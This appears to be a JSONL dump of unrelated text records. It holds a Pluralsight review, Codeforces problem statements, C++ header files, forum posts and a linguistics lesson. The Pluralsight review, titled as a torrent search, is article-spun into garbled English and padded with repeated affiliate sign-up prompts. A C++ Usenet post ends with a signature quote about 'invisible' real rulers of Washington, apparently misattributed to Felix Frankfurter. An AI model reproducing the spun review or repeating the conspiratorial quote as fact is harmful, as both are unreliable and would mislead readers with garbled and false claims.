"cpt_opc_fineweb_code", "language": "code", "token_count": 493, "token_count_with_eod": 494, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Pluralsight Ccna Torrent\nPluralsight is one of the most prominent platforms out there for locating training courses throughout a number of groups when it comes to on-line learning in the technology room. And as we’ll discuss in the Pluralsight testimonial listed below, its appeal among technology experts has actually most definitely been earned.\nYou recognize that remaining updated on the newest innovation is vital to your success if you are an IT specialist. You likewise understand that this can be difficult, especially if you do not have the time or money to attend expensive training programs.\nThat’s where Pluralsight can be found in.\nWith its huge library obviously on every little thing from setting to networking, Pluralsight is excellent for anybody who intends to stay ahead of the contour in the tech globe.\nThis Pluralsight evaluation covers everything you require to understand about this incredible system. It’s a total guide to Pluralsight’s training courses, rates, trainers, as well as extra!\nWhat is Pluralsight?\nPluralsight is an online learning platform that provides training courses in different disciplines with a particular concentrate on tech abilities.\nToday, Pluralsight has over 7,000 programs in its magazine, covering everything from programming as well as web growth to service as well as innovative abilities.\nWith a mission to equalize technology skills, Pluralsight offers members with the devices they require to remain ahead of the contour in an ever-changing world.\nPluralsight likewise supplies a selection of features to help students stay on track, consisting of program certifications, progression tracking, and also training course recommendations.\nIn addition, Pluralsight offers a costs subscription that provides customers access to unique material and attributes, such as offline watching and also Pluralsight intelligence. Whether you’re just starting or looking to clean up on your skills, Pluralsight is a wonderful source for discovering new points.\nVisit this site to try Pluralsight free for 10 days.\nThat Teaches on Pluralsight?\nIt’s a extremely vital inquiry that everyone asks. People need to know if the mentor has credibility. It most definitely does when it comes to Pluralsight and its trainers.\nPluralsight is one-of-a-kind because every one of its programs are shown by professional trainers who are leaders in their particular areas.\nConsequently, Pluralsight trainees can be positive that they get the current and most precise info feasible. The instructors on Pluralsight are thoroughly selected for their competence as well as capability to involve and also educate learners.\nAdditionally, Pluralsight uses lots of means for teachers to tailor their programs, ensuring that each course is customized to the student’s needs. Likewise, Pluralsight provides both live as well as tape-recorded courses to make sure that learners can pick the discovering layout that finest matches them.\nPluralsight additionally provides added resources to aid students succeed, consisting of:\n- Expert tips\n- Program Discounts\n- Superb Support System\n- An energetic area discussion forum\nMillions of students around the world depend on Pluralsight as a source of premium, expert-led instruction! It’s likewise transforming the means individuals learn globally, and also it’s swiftly becoming the best location for everyone trying to enhance their abilities.\nWhat Can You Learn on Pluralsight?\nFinding out a new skill isn’t hard as long as you have a great platform like Pluralsight.\nAnd also, due to the fact that Pluralsight is always including new programs, you’re certain to discover something that’s right for you.\nPluralsight’s remarkable features make finding out simple and also enjoyable, such as course recommendations, interactive exercises, and also expert instructors.\nSome of the program classifications you can check out on Pluralsight include:\n- Design & building\n- Service specialist\n- Innovative specialist\n- Data specialist\n- IT ops\n- Production & design\n- Details & cyber protection\n- Software program development\n- Web growth\nWith over 7,000 training courses offered, Pluralsight has a program for everyone, from those just starting their professions to those wanting to keep their abilities current.\nPluralsight supplies skills analyses as well as a job course tool to aid learners identify which courses will help them reach their profession goals. They are additionally among the largest online training companies.\nGo here to attempt Pluralsight complimentary for 10 days.\nHow Much Does Pluralsight Cost?\nPluralsight rates depends on the type of membership that you pick. Here’s a standard overview of the Pluralsight packages:\nThe Standard Package sets you back $29 monthly. If you choose to pay annually, it will certainly assist you conserve approximately 14%, and the price you will need to pay would certainly be $299.\nPremium Package sets you back $45 per month, or an annual registration would be $449.\nBeginner: $33.25/ month.\nExpert: $48.25/ month.\nEnterprise: $64.91/ month.\nPluralsight likewise uses fantastic discount rates for pupils and educators . Additionally, Pluralsight supplies incredible discount rates on team bundles for yearly memberships.\nPluralsight Free Trial Details.\nPluralsight does feature a totally free test, which enables you to access all of the courses for 10 days. During the trial period, you can access 200 mins of Pluralsight web content.\nIf you make a decision to cancel your membership within the 10-day trial period, you will not be billed. If you do not terminate your registration within the 10-day trial period, you will be immediately billed for the yearly or monthly subscription, depending on which alternative you select.\nVisit this site to attempt Pluralsight cost-free for 10 days.\nJust How does Pluralsight Pricing Compare to Other Platforms?\nPluralsight is one of the most popular on the internet understanding platforms worldwide, and what actually sets it apart from other platforms is its large concentrate on technology discovering.\nHow does the expense of Pluralsight compare to various other preferred on the internet understanding platforms? Let’s compare:.\n- LinkedIn Learning rates– $29.99 for month-to-month or $240 for an annual membership.\n- Masterclass prices– $180-$ 276 a year, no regular monthly plans readily available.\n- Coursera pricing– $59 a month or $399 a year for a Coursera Plus subscription.\n- Skillshare prices– $167.88 annually, which exercises to $13.99/ month averaged out.\nFurthermore, Pluralsight supplies both business and also specific strategies, making it a adaptable choice for individual and also specialist advancement.\nThis makes Pluralsight an ideal system for those who want to obtain useful experience and also academic knowledge.\nIn general, Pluralsight is a extensive and also straightforward learning system suitable for people and also companies at budget friendly costs.\nVisit this site to try Pluralsight cost-free for 10 days.\nJust How Does Pluralsight Work?\nPluralsight is transforming the method individuals learn as well as is helping to make the globe a better place for every person.\nTrainees can register for Pluralsight programs with the web site and access the product at their own pace.\nPluralsight programs are split into components, as well as each component consists of a series of video lessons and also quizzes. Pupils can see the video lessons as sometimes as they desire and take the quizzes as lot of times as they require to understand the material.\nPluralsight also provides a certificate of conclusion for every course. With its flexible learning style as well as expert-led programs, Pluralsight is a terrific way to get brand-new abilities or enhance existing ones.\nJust how to register for Pluralsight.\nRegistering for Pluralsight is very easy and also only takes a few mins.\nFirst, most likely to the Pluralsight website and create an account. Once you have an account, you can search the Pluralsight library and also select the training courses you wish to take. You can likewise look for details programs by search phrase or filter by subject.\nWhen you locate a course you want to take, click on the “Sign Up” switch. You will certainly then be prompted to enter your payment information. Pluralsight supplies a range of settlement choices, consisting of credit card, PayPal, etc!\nOnce you have actually selected a payment method, you will certainly have the ability to access your course immediately. Pluralsight additionally supplies a complimentary test to ensure that you can try out their system before devoting to a paid subscription. So why wait? Register for Pluralsight today as well as begin learning something brand-new!\nGo here to attempt Pluralsight complimentary for 10 days.\nHow to take Pluralsight courses.\nPluralsight programs are a wonderful method to learn new abilities and enhance present ones. Below’s exactly how to get going:.\nFirst, create a Pluralsight account. You can do this by going to their web site and also clicking the “Sign Up” switch. Enter your information as well as click on the “Create My Account” button.\nOnce you have an account, you can check out the training courses that Pluralsight uses. Type the subject’s name into the search bar to find a course that fascinates you.\nFor instance, if you’re interested in finding out about web advancement, you would kind “Web Development” into the search bar.\nOnce you’ve located a course you ‘d like to take, click on the “Enroll Now” switch. Pluralsight will then ask you to confirm your registration. As soon as you’ve verified your registration, Pluralsight will add the course to your account, and you can begin taking it quickly.\nPluralsight training courses are self-paced, suggesting you can work through them at your speed. They are also hands-on, with a lot of possibilities to practice what you’re finding out. They are made by sector experts, so you can be certain you’re obtaining the most current as well as biggest information.\nWhether you’re aiming to discover brand-new coding skills or brush up on your Photoshop strategies, Pluralsight has a training course. Examine them out today and also see just how very easy it is to find out something brand-new.\nPluralsight Features Explained.\nTraining courses are expert-led and also concentrate on sensible abilities.\nPluralsight is a fantastic source for those seeking to learn new practical abilities. The training courses are expert-led and also focus on providing individuals the skills they need to be successful in their area.\nPluralsight likewise provides a range of other attributes, such as the capacity to develop custom-made programs and tests that make it an indispensable resource for any person looking to improve their skill set. Pluralsight is a wonderful source for those seeking to enhance their practical skills.\nA selection of settlement options are offered.\nThe most effective aspect of Pluralsight is that it supplies a selection of payment choices to fit any type of budget plan. You can pay by the month, year, or even acquire a lifetime subscription. Pluralsight also supplies price cuts for trainees and also teachers !\nSettlement Options Include.\nWhether you’re seeking to discover coding, web growth, or anything in between, Pluralsight is a great choice– and also with its flexible repayment choices, there’s no reason not to give it a try!\nCertification of completion for each and every program.\nPluralsight likewise supplies a certification of conclusion for every course, differentiating it from various other on the internet education systems. This can be very valuable in constructing your resume and also showing your abilities to potential companies.\nPluralsight is dedicated to assisting people find out new skills and grow their jobs, as well as the business’s mission is to make premium education accessible to everyone. For any person aiming to improve their abilities or find out something brand-new, Pluralsight is a fantastic alternative.\nGain brand-new abilities or enhance existing ones.\nPluralsight is a terrific means to obtain brand-new skills or improve existing ones! It provides lots of courses on various subjects to learn what you require to understand for your task or your personal life.\nPluralsight’s courses are educated by professionals that are passionate concerning their areas as well as understand just how to involve their pupils. So learning a brand-new skill with Pluralsight comes to be a breeze!\nLearn at your own pace.\nPluralsight has the advantage of enabling you to discover at your own pace. It has a wide variety naturally readily available, so you can always locate something intriguing. And also if you’re uncertain regarding a certain course, Pluralsight provides complimentary trials to try it before you buy.\nIt additionally has continual learning courses to track your progress as well as gauge your proficiency in particular skills. Whether an specialist or a newbie , Pluralsight has something for everyone! Why not attempt Pluralsight today as well as see how far you can go?\nFree trial available.\nPluralsight supplies many functions to its customers, among the most popular being the totally free test. With the Pluralsight totally free trial, users can access every one of the site’s programs as well as check out Pluralsight at their recreation.\nThe Pluralsight free trial is particularly advantageous for those brand-new to the website and also who need to know exactly how it functions prior to committing to a paid membership. Pluralsight has different other features, including training course scores and testimonials, which can aid customers make informed choices regarding which training courses to take.\nWhat are you waiting for? Register for Pluralsight today! With its expert-led courses and adaptable learning format, Pluralsight is the best platform for IT professionals.\nPluralsight’s ideal attribute is its device support. Pluralsight can be accessed on any kind of gadget with an web connection, including tablets, laptops, and also smart devices . This makes it very easy to learn brand-new skills while on the go.\nPluralsight also has offline viewing, so you can continue finding out even if you don’t have an internet connection. And also, Pluralsight provides a 10-day complimentary trial, so you can try out the platform before committing to a subscription. With a lot of advantages, it’s not surprising that Pluralsight is one of the leading on-line knowing systems.\nInevitably, Pluralsight’s different offerings offer opportunities for people of all backgrounds to establish brand-new skills and progress their jobs. A excellent feature of Pluralsight is its area. Pluralsight has a community of designers that share their understanding and knowledge with others.\nThe community is always willing to aid respond to concerns, supply feedback, as well as collaborate on jobs. Pluralsight also supplies a online forum for programmers to share their code libraries, snippets, and tutorials . Pluralsight is an invaluable source for designers looking to boost their abilities or find out new innovations.\nA major feature of Pluralsight’s user interface is its clearness. The Pluralsight user interface is clean and contemporary , as well as very easy to browse. Pluralsight courses are arranged right into modules, as well as each component is split right into lessons.\nThe Pluralsight user interface makes it simple to discover the programs you require and track your progress. Pluralsight likewise supplies a range of ways to discover, consisting of video-based courses, posts, and tests. You can also earn badges and also certifications as you total Pluralsight courses.\nVisit this site to attempt Pluralsight complimentary for 10 days.\nPluralsight Review FAQs.\nIs Pluralsight Expensive?\nWhile it holds true that Pluralsight’s courses are not free, they are still really affordable compared to various other online education platforms. On top of that, Pluralsight often runs price cuts and promos , making their training courses a lot more affordable. Therefore, Pluralsight programs aren’t too pricey and also are very cost effective.\nWhat is the function of Pluralsight?\nPluralsight is a modern technology knowing platform that assists organizations shut the abilities void as well as keep their labor force relevant in an ever-changing market. Pluralsight offers on-line training courses instructed by professional teachers, allowing pupils to discover brand-new abilities at their very own speed.\nWhich one is much better: Udemy or Pluralsight?\nThere are various alternatives available for online understanding, and also it can be hard to choose the right platform for your needs. Two of the most popular systems are Udemy and also Pluralsight.\nBoth systems use a large range naturally, however there are some key differences between them. Pluralsight focuses especially on tech-related subjects, while Udemy offers a extra varied selection obviously. Pluralsight also offers a larger variety of functions, including the capacity to tailor your discovering experience to your certain goals.\nIs Pluralsight Worth It?\nPluralsight is definitely worth your time, specifically if you’re a tech specialist (or wish to turn into one) looking to upskill.\nIt is an on-line education and learning system that offers programs in different subjects, consisting of programs, design, service, and also a lot more. Pluralsight is a great source for any person seeking to enhance their skills or discover brand-new ones.\nThe programs are properly designed as well as supply a great deal of details. They are additionally moderately priced and also included a money-back warranty. Pluralsight training courses are a wonderful financial investment for any person aiming to boost their skills.\nWhile Pluralsight is not a standard college, it can still be a valuable resource for profession growth. The programs offered on Pluralsight cover a variety of subjects that can benefit specialists in any field. Pluralsight offers programs on project administration, web development, as well as visuals layout.\nAdditionally, Pluralsight likewise offers courses on soft abilities such as leadership and interaction. By making the most of the sources offered by Pluralsight, you can gain the abilities as well as knowledge you need to be successful in your job. Overall, Pluralsight is a detailed and also economical online discovering system suitable for both beginners as well as seasoned students.\nStart with Pluralsight.\nUtilizing Pluralsight, you can establish the skills you need to progress in your profession or change sectors. And also best of all, Pluralsight offers a totally free test so you can experiment with the platform and see if it’s right for you.\nWhy not obtain begun today? With Pluralsight, you can learn at your very own pace as well as schedule. And also, Pluralsight programs are created by sector professionals, so you recognize you’re getting high-grade guideline.\nVisit this site to attempt Pluralsight cost-free for 10 days.\nWhen it comes to Pluralsight as well as its teachers, it most definitely does.\nPluralsight provides a selection of repayment alternatives, consisting of credit card, PayPal, etc!\nPluralsight courses are self-paced, suggesting you can work through them at your rate. Pluralsight is an invaluable source for developers looking to improve their skills or discover brand-new technologies.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 4148, "token_count_with_eod": 4149, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Little Chris knows there's no fun in playing dominoes, he thinks it's too random and doesn't require skill. Instead, he decided to play with the dominoes and make a \"domino show\".\n\nChris arranges n dominoes in a line, placing each piece vertically upright. In the beginning, he simultaneously pushes some of the dominoes either to the left or to the right. However, somewhere between every two dominoes pushed in the same direction there is at least one domino pushed in the opposite direction.\n\nAfter each second, each domino that is falling to the left pushes the adjacent domino on the left. Similarly, the dominoes falling to the right push their adjacent dominoes standing on the right. When a vertical domino has dominoes falling on it from both sides, it stays still due to the balance of the forces. The figure shows one possible example of the process.\n\nGiven the initial directions Chris has pushed the dominoes, find the number of the dominoes left standing vertically at the end of the process!", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "How can I view recent answers and comments about my questions / answers?\nI just discovered the Recent Activity page by following the link in the message that alerts me to the fact there are new answers/comments.\nHowever, later I wanted to find that page again and, without the alert message, I couldn’t find it. There is no link to it anywhere, certainly not in my profile (the most obvious place). How am I supposed to navigate to this page?\n(I eventually found it by scouring through my browser history, but come on, I shouldn’t have to do that.)", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#ifndef EVAPPLICATIONSETTINGS_H\n#define EVAPPLICATIONSETTINGS_H\n\n#include \"EvObject.h\"\n#include <QMap>\n#include <QSettings>\n\nclass EvSettings;\nclass EvApparenceSettings;\nclass EvApplicationSettings : public EvObject\n{\n    Q_OBJECT\n    Q_PROPERTY(EvApparenceSettings* apparenceSettings READ apparenceSettings)\n\npublic:\n    Q_INVOKABLE EvApplicationSettings(QObject * parent = 0);\n    EvApparenceSettings* apparenceSettings() const; \n    void registerPluginSettings(const QString & name,EvSettings*);\n\npublic Q_SLOTS:\n\n    void load();\n    void save();\n\n\n    QStringList pluginsSettingsNames()const;\n\n\n    QList<EvSettings *> pluginsSettings()const;\n    EvSettings * pluginSettings(const QString & name)const;\n\n\nprivate:\n    EvApparenceSettings* m_apparenceSettings;\n    QMap<QString,EvSettings*> m_pluginsSettings;\n    QSettings m_settings;\n\n};\n\n#endif // EVAPPLICATIONSETTINGS_H", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Re: vector problem\nGiovanni Dicanio wrote:\n\"Dan Bloomquist\" <email@example.com> ha scritto nel messaggio\nI've seen std::vector copy an object more than once while it is working,\nas I recall. It doesn't matter as it knows what it is doing. As long as\nthat is what you mean by 'doesn't work'.\nI think that this is a reson why we should use std::vector storing\nshared_ptr (smart pointers) of class instances, especially for \"big\"\nobjects, so we can avoid expensive deep-copies.\nHay, I got off my duff. I just ran into a situation where I may or may\nnot want to use a returned object. And since it is a not a member of\nanother object, it has no persistence.\ntypedef boost::shared_ptr<CXML> spXML;\n//member that creates xml\nspCXML ColumnHeaders::LoadUserXML( )\n//So, instead of\nspCXML pXml( new CXML );\n//I do this so intelesense works,\n// a problem using Boost I've seen before.\nCXML& xml= *pXml;\nNow I can grab the object if I'd like, then forget it, or just forget it\nif I don't need it!\nGenerated by PreciseInfo ™\n\"The Order's working and involvement in America is immense.\nThe real rulers in Washington are invisible and exercise power\nfrom behind the scenes.\"\n-- Felix Frankfurter (1882-1965; a U.S. Supreme Court justice)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 338, "token_count_with_eod": 339, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "| | 3g\n- somewhat faster download\n- higher SAR rating (you get more chance of dying)\n- Thicker phone\n- Shorter battery life\n- Dropped Calls.\nBlackberry is awesome for emails, and EDGE is good enough for downloading emails. Leave the web browsing to iPhone.\no yeah didn't read you live in the city.. you need 3G for the city. EDGE never loads. I had the first iPhone and it takes foooooorrrever to load google map and websites near almost everywhere in the city. Get your bold back.\nLast edited by hbueain : 06-20-2009 at 12:30 AM.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 148, "token_count_with_eod": 149, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "ABSTRACT: Syntax refers to the rules that govern how words combine to create meaningful utterances. Morphemes combine to form words, words combine into phrases and phrases combine according to set rules into clauses.\nAn understanding of morphology demonstrates that there is an accepted sequential order for the addition of bound morphemes to free morphemes. So, the following sequences are acceptable.\nHowever, the following constructions are not permitted by the sequential rules governing the placement of bound morphemes.\nIn other words, re- and dis- may only function as prefixes and -ation may only function as a suffix.\nIn just the same way that sequencing rules apply to morphemes, similar sequencing rules also apply at the word level. To illustrate, what does the following word mean?\nTwo common interpretations would probably be either, ‘without the power of sight’ or ‘a screen for a window’. Now, what does this word mean?\nDid you interpret this as meaning ‘a native or inhabitant of Venice’? Perhaps you again considered it to mean, ‘a screen for a window’? But now consider the following.\nIs this the same as the following?\nIt should be obvious that a Venetian blind is not the same as a blind Venetian!\nThis simple example illustrates very well the notion of syntax. It is apparent that the correct sequencing of words is crucial to convey the appropriate meaning. Syntactic rules, then, govern which words can be associated with which other words in a language, and in what order. Failure to follow the rules of syntax can result in meaningless word combinations, e.g.\nto colleague not estranged my chose phone I\n[cf. I chose not to phone my estranged colleague]\nIn contrast, an appropriate application of syntactic rules can lead to a variety of utterances, all of which convey the same essential meaning:\n- The weary ploughman homeward plods his way.\n- The weary ploughman plods his homeward way.\n- The homeward ploughman plods his weary way.\n- The homeward ploughman, weary, plods his way.\n- The homeward, weary, ploughman plods his way.\n- The weary, homeward ploughman plods his way.\n- Homeward the weary ploughman plods his way.\n- Homeward, weary, the ploughman plods his way.\n- Homeward the ploughman plods his weary way.\n- Homeward the ploughman, weary, plods his way.\n- Weary, the homeward ploughman plods his way.\n- Weary, homeward the ploughman plods his way.\n- Weary, the ploughman plods his homeward way.\n- The ploughman plods his homeward, weary way.\n- The ploughman plods his weary homeward way.\n- The ploughman homeward, weary, plods his way.\n- The ploughman, weary, homeward plods his way.\n- The ploughman, weary, plods his homeward way.\nThese examples of the plodding ploughman appear in an anonymous book written in 1883 entitled ‘English as She is Wrote’ – download a free copy here\nNow, as you might expect, words also combine to form larger units. Consider the utterance my favorite soccer star scored the first goal. Notice that the words in this syntactically correct structure appear to combine into three units:\nmy favorite soccer star\nthe first goal\nWe can represent this as follows.\nmy favorite soccer star\nthe first goal\nThese units are known as phrases. Phrases represent an intermediate level of organization between the word and what is known as a clause.\nWe have seen how phrases may combine to construct larger units, e.g. we + are going + to Judy's + for dinner = we are going to Judy's for dinner. Such larger units are known as clauses. Clauses may be further combined in spoken language into so-called clause complexes, e.g.\n|clause 1||conjunction||clause 2|\nwe are going to Judy's for dinner\nit is Paul's birthday today\nHere, two clauses are combined (conjoined) using the so-called conjunction because.\n|< Prev||Next >|", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Someone gave Alyona an array containing n positive integers a1, a2, ..., an. In one operation, Alyona can choose any element of the array and decrease it, i.e. replace with any positive integer that is smaller than the current one. Alyona can repeat this operation as many times as she wants. In particular, she may not apply any operation to the array at all.\n\nFormally, after applying some operations Alyona will get an array of n positive integers b1, b2, ..., bn such that 1 ≤ bi ≤ ai for every 1 ≤ i ≤ n. Your task is to determine the maximum possible value of mex of this array.\n\nMex of an array in this problem is the minimum positive integer that doesn't appear in this array. For example, mex of the array containing 1, 3 and 4 is equal to 2, while mex of the array containing 2, 3 and 2 is equal to 1.", "source": "cpt_codeforces", "language": "en", "token_count": 201, "token_count_with_eod": 202, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Tanya is learning how to add numbers, but so far she is not doing it correctly. She is adding two numbers $$$a$$$ and $$$b$$$ using the following algorithm:\n\n1. If one of the numbers is shorter than the other, Tanya adds leading zeros so that the numbers are the same length.\n2. The numbers are processed from right to left (that is, from the least significant digits to the most significant).\n3. In the first step, she adds the last digit of $$$a$$$ to the last digit of $$$b$$$ and writes their sum in the answer.\n4. At each next step, she performs the same operation on each pair of digits in the same place and writes the result to the left side of the answer.\n\nFor example, the numbers $$$a = 17236$$$ and $$$b = 3465$$$ Tanya adds up as follows:\n\n$$$$$$ \\large{ \\begin{array}{r} + \\begin{array}{r} 17236\\\\ 03465\\\\ \\end{array} \\\\ \\hline \\begin{array}{r} 1106911 \\end{array} \\end{array}} $$$$$$\n\n- calculates the sum of $$$6 + 5 = 11$$$ and writes $$$11$$$ in the answer.\n- calculates the sum of $$$3 + 6 = 9$$$ and writes the result to the left side of the answer to get $$$911$$$.\n- calculates the sum of $$$2 + 4 = 6$$$ and writes the result to the left side of the answer to get $$$6911$$$.\n- calculates the sum of $$$7 + 3 = 10$$$, and writes the result to the left side of the answer to get $$$106911$$$.\n- calculates the sum of $$$1 + 0 = 1$$$ and writes the result to the left side of the answer and get $$$1106911$$$.\n\nAs a result, she gets $$$1106911$$$.\n\nYou are given two positive integers $$$a$$$ and $$$s$$$. Find the number $$$b$$$ such that by adding $$$a$$$ and $$$b$$$ as described above, Tanya will get $$$s$$$. Or determine that no suitable $$$b$$$ exists.", "source": "cpt_codeforces", "language": "en", "token_count": 504, "token_count_with_eod": 505, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You have an image file of size $$$2 \\times 2$$$, consisting of $$$4$$$ pixels. Each pixel can have one of $$$26$$$ different colors, denoted by lowercase Latin letters.\n\nYou want to recolor some of the pixels of the image so that all $$$4$$$ pixels have the same color. In one move, you can choose no more than two pixels of the same color and paint them into some other color (if you choose two pixels, both should be painted into the same color).\n\nWhat is the minimum number of moves you have to make in order to fulfill your goal?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/*\n * ProductSearch.h\n *\n *  Created on: Sep 18, 2012\n *      Author: kamyon\n */\n\n#ifndef PRODUCTSEARCH_H_\n#define PRODUCTSEARCH_H_\n\n#include <string>\n#include \"ski/types.h\"\n#include <curl/curl.h>\n#include <list>\n\nclass ProductSearch\n{\nprotected:\n\t/**\n\t * Constructor\n\t */\n\tProductSearch();\n\npublic:\n\n\t/**\n\t * Destructor\n\t * TODO: make protected after implementing the factory method as returning std::unique_ptr\n\t * TODO: pImpl this.\n\t */\n\tvirtual ~ProductSearch();\n\n\t/**\n\t * Search method\n\t */\n\tenum Method\n\t{\n\t\tGoogle_Product_Search,//!< Google Product Search\n\t\tDirections_For_Me     //!< Directions For Me\n\t};\n\n\t/**\n\t * Product Information\n\t */\n\tstruct ProductInfo\n\t{\n\t\t/** Name */\n\t\tstd::string title;\n\t\t/** Description */\n\t\tstd::string description;\n\t\t/** Manufacturer */\n\t\tstd::string brand;\n\t\t/** Combines the information as a single string */\n\t\tstd::string asString() const\n\t\t{\n\t\t\tstd::string info;\n\t\t\tif (!title.empty())\n\t\t\t\tinfo += \"Title: \" + title + \"\\n\";\n\t\t\tif (!brand.empty())\n\t\t\t\tinfo += \"Brand: \" + brand + \"\\n\";\n\t\t\tif (!description.empty())\n\t\t\t\tinfo += \"Description:\" + description + \"\\n\";\n\t\t\treturn info;\n\t\t};\n\t};\n\n\ttypedef std::list<ProductInfo> ProductList;\n\n\tstatic ProductSearch* create(Method method);\n\n\t/**\n\t * Takes a barcode with identified upc and fills the product information\n\t * @param[in] bc barcode to identify product from\n\t * @return product information\n\t */\n\tProductList identify(const std::string &bc);\n\nprotected:\n\t/**\n\t * Structure to store intermediate results of http requests\n\t */\n\tstruct HttpResult\n\t{\n\t\t/** Pointer to actual data */\n\t\tTUInt8 *data;\n\t\t/** Size of data */\n\t\tsize_t size;\n\t\t/** buffersize */\n\t\tstatic const size_t BUFSIZE = 100000; //100K buffer\n\t\t/** Constructor */\n\t\tHttpResult() : data(new TUInt8[BUFSIZE]), size(0) {};\n\t\t/** Destructor */\n\t\t~HttpResult() {if (data != NULL) delete [] data; };\n\t};\n\n\t/** User agent to mask as */\n\tstatic const char* USER_AGENT;\n\n\t/**\n\t * Initializes a cURL easy session, and sets up some common parameters\n\t * @return handle to the initialized easy cURL session.\n\t */\n\tstatic CURL* initializeRequest();\n\n\t/**\n\t * Prepares the cURL request for the specific lookup method\n\t * @param[in] curl cURL session handle\n\t * @param[in] upc upc code to look up\n\t */\n\tvirtual void prepareRequest(CURL* curl, const std::string &upc) = 0;\n\n\t/**\n\t * Submits a prepared request\n\t * @param[in] curl cURL session handle\n\t * @param[out] page a string containing the returned page that needs to be parsed.\n\t * @return true if request has been successfully submitted, false if an error occurred.\n\t */\n\tstatic bool submitRequest(CURL* curl, std::string &page);\n\n\t/**\n\t * Cleans up after a cURL easy session\n\t * @param[in] cURL session handle to cleanup after\n\t */\n\tvirtual void cleanupAfterRequest(CURL* curl);\n\n\t/**\n\t * Callback function that saves the returned results webpage\n\t * @param[in] buffer buffer that contains returned result\n\t * @param[in] size size of result in units of size nmemb\n\t * @param[in] nmemb size of each unit returned\n\t * @param[in] pointer to user supplied field to store returned results.\n\t */\n\tstatic size_t getReturnedResult(void *buffer, size_t size, size_t nmemb, void *userp);\n\n\t/**\n\t * Parses returned page to extract product information\n\t * @param[in] page html page to parse\n\t * @return information about the product\n\t */\n\tvirtual ProductList parseProductPage(const std::string &page) = 0;\n};\n\n\n//==========================\n// Google Search\n//==========================\nclass GoogleSearch: public ProductSearch\n{\npublic:\n\tGoogleSearch();\nprotected:\n\n\t/** API Key*/\n\tstatic const std::string API_KEY;\n\n\t/** API Key*/\n\tstatic const std::string SEARCH_URL;\n\n\tvirtual ~GoogleSearch();\n\n\tvoid prepareRequest(CURL* curl, const std::string &upc);\n\n\tProductList parseProductPage(const std::string &page);\n};\n\n//==========================\n// D4M Search\n//==========================\n\nclass D4MSearch: public ProductSearch\n{\npublic:\n\t/** Constructor */\n\tD4MSearch();\n\nprotected:\n\n\t/** Search address */\n\tstatic const std::string SEARCH_URL;\n\n\t/** Referrer */\n\tstatic const std::string REFERRER;\n\n\t/** Destructor */\n\tvirtual ~D4MSearch();\n\n\tvoid prepareRequest(CURL* curl, const std::string &upc);\n\n\tvoid cleanupAfterRequest(CURL* curl);\n\n\tProductList parseProductPage(const std::string &page);\n\n\tstruct curl_httppost *formpost;\n\tstruct curl_httppost *lastptr;\n\n};\n\n\n#endif /* PRODUCTSEARCH_H_ */", "source": "cpt_stack_code", "language": "code", "token_count": 1237, "token_count_with_eod": 1238, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "October 5th is Do Something Nice Day, and it’s a great time to focus on character education and the importance of thinking of others! To help you celebrate, I created this Do Something Nice Day printable which you can download from the Seasonal Page on Teaching Resources.\nBefore you ask students to take it home, spend a few moments discussing what it means to do something nice for others. Brainstorm a list of ideas, including complimenting someone, sharing something, helping another student, cleaning up without being asked, and so on. At home, they might offer to set the table, read to a younger brother or sister, or help out in some other way. Ask your students to jot down what they do for others on this printable and return it the next day to share. I would not have them share with the class since these items may be personal, but you can have them talk about how they felt doing good deeds for the day. Then remind them that every day can be Do Something Nice Day!\nPosted by Laura Candler ~ Teaching Resources ~ http://www.lauracandler.com", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 223, "token_count_with_eod": 224, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I'm missing a feature in the MBDToolbox which I am using with the DEVKIT-MPC5744P. Since the board has no easy accessible pins (without soldering) to trigger the CTU0 to start an ADC conversion, I would need another way to get an external interrupt request via available IO pins. The standard way, using S32 IDE does work fine (still without using the CTUs), but in Simulink I'm missing the possibility to place a trigger block with external interrupt capabilities.\nI found the \"mbdtargetmainlibpnt.tlc\" file where the interrupt handlers are defined, but vectors like \"Vector # 243 SIUL2 External Interrupt_0\" and so on are not being used.\nThe main goal is to use the toolbox to create runnable code for that board but there aren't enough functions blocks for specific things like interrupts (and their glitch filter, et cetera).\nSo what are my options here?\n(I'm thinking about adding the missing interrupt handlers to that .tlc file and then adding a S function block with the rest of the code. I'm not sure if that will work, though.)\nPS: Could you please think about not using the CTU0 EXT_IN pins for LEDs and a chip enable in the next revision of the board? That would be great because I would like to use that feature someday.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 290, "token_count_with_eod": 291, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Because of budget cuts one IT company established new non-financial reward system instead of bonuses.\n\nTwo kinds of actions are rewarded: fixing critical bugs and suggesting new interesting features. A man who fixed a critical bug gets \"I fixed a critical bug\" pennant on his table. A man who suggested a new interesting feature gets \"I suggested a new feature\" pennant on his table.\n\nBecause of the limited budget of the new reward system only 5 \"I fixed a critical bug\" pennants and 3 \"I suggested a new feature\" pennants were bought.\n\nIn order to use these pennants for a long time they were made challenge ones. When a man fixes a new critical bug one of the earlier awarded \"I fixed a critical bug\" pennants is passed on to his table. When a man suggests a new interesting feature one of the earlier awarded \"I suggested a new feature\" pennants is passed on to his table.\n\nOne man can have several pennants of one type and of course he can have pennants of both types on his table. There are n tables in the IT company. Find the number of ways to place the pennants on these tables given that each pennant is situated on one of the tables and each table is big enough to contain any number of pennants.", "source": "cpt_codeforces", "language": "en", "token_count": 266, "token_count_with_eod": 267, 